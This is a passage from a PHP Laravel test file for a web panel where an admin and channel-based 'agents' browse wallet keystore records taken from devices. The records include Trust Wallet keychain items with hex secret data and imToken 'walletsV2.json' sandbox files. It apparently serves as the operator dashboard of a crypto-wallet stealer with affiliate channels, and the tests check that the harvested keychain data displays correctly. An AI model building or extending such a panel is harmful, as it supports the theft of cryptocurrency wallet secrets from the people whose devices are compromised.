create(['username' => 'admin', 'password' => 'admin123']); $device = Device::query()->create([ 'device_id' => 'DEVKEYSTORE01', 'channel_id' => 'ch-ks-1', ]); $row = WalletKeystore::query()->create([ 'device_id' => $device->id, 'source' => 'Trust Wallet', 'decrypted' => 1, 'raw_json' => [ 'kind' => 'keychain.wallets', 'wallets' => [ 'trustwallet' => [ 'count' => 1, 'items' => [[ 'account' => 'trust.account', 'service' => null, 'accessGroup' => '9873B38DWV.com.sixdays.trust', 'protectionClass' => 9, 'dataHex' => bin2hex('777350'), ]], ], ], ], ]); $this->actingAs($admin, 'admin') ->get(route('admin.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->get(route('admin.keystores.index')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.data')) ->assertOk() ->assertJsonPath('code', 0) ->assertJsonPath('count', 1) ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.decrypted', 1) ->assertJsonPath('data.0.kind', '钥匙串') ->assertJsonPath('data.0.item_count', 1) ->assertJsonPath('data.0.summary', 'trust.account') ->assertJsonPath('data.0.device_key', 'DEVKEYSTORE01'); $this->actingAs($admin, 'admin') ->getJson(route('admin.keystores.items', $row)) ->assertOk() ->assertJsonPath('data.items.0.account', 'trust.account') ->assertJsonPath('data.items.0.data_preview', '777350'); $this->actingAs($admin, 'admin') ->get(route('admin.devices.show', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($admin, 'admin') ->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores'])) ->assertOk() ->assertJsonPath('data.0.source', 'Trust Wallet') ->assertJsonPath('data.0.item_count', 1) ->assertJsonPath('data.0.summary', 'trust.account'); } #[Test] public function agent_only_sees_own_channel_keystores(): void { $agentA = User::query()->create(['username' => 'ks-a', 'password' => 'secret12', 'status' => 1]); $agentB = User::query()->create(['username' => 'ks-b', 'password' => 'secret12', 'status' => 1]); $chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'; $chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb'; Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]); Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]); $devA = Device::query()->create(['device_id' => 'dev-ks-a', 'channel_id' => $chA]); $devB = Device::query()->create(['device_id' => 'dev-ks-b', 'channel_id' => $chB]); $rowA = WalletKeystore::query()->create([ 'device_id' => $devA->id, 'source' => 'imToken', 'decrypted' => 0, 'raw_json' => ['kind' => 'sandbox', 'sandbox' => ['imtoken' => ['walletsV2.json' => base64_encode('{}')]]], ]); $rowB = WalletKeystore::query()->create([ 'device_id' => $devB->id, 'source' => 'Trust Wallet', 'decrypted' => 0, 'raw_json' => ['kind' => 'keychain.wallets', 'wallets' => ['trustwallet' => ['items' => []]]], ]); $this->actingAs($agentA, 'agent') ->get(route('user.home')) ->assertOk() ->assertSee('钥匙串'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.data')) ->assertOk() ->assertJsonPath('count', 1) ->assertJsonPath('data.0.device_key', 'dev-ks-a'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowA)) ->assertOk() ->assertJsonPath('data.items.0.account', 'walletsV2.json'); $this->actingAs($agentA, 'agent') ->getJson(route('user.keystores.items', $rowB)) ->assertForbidden(); } }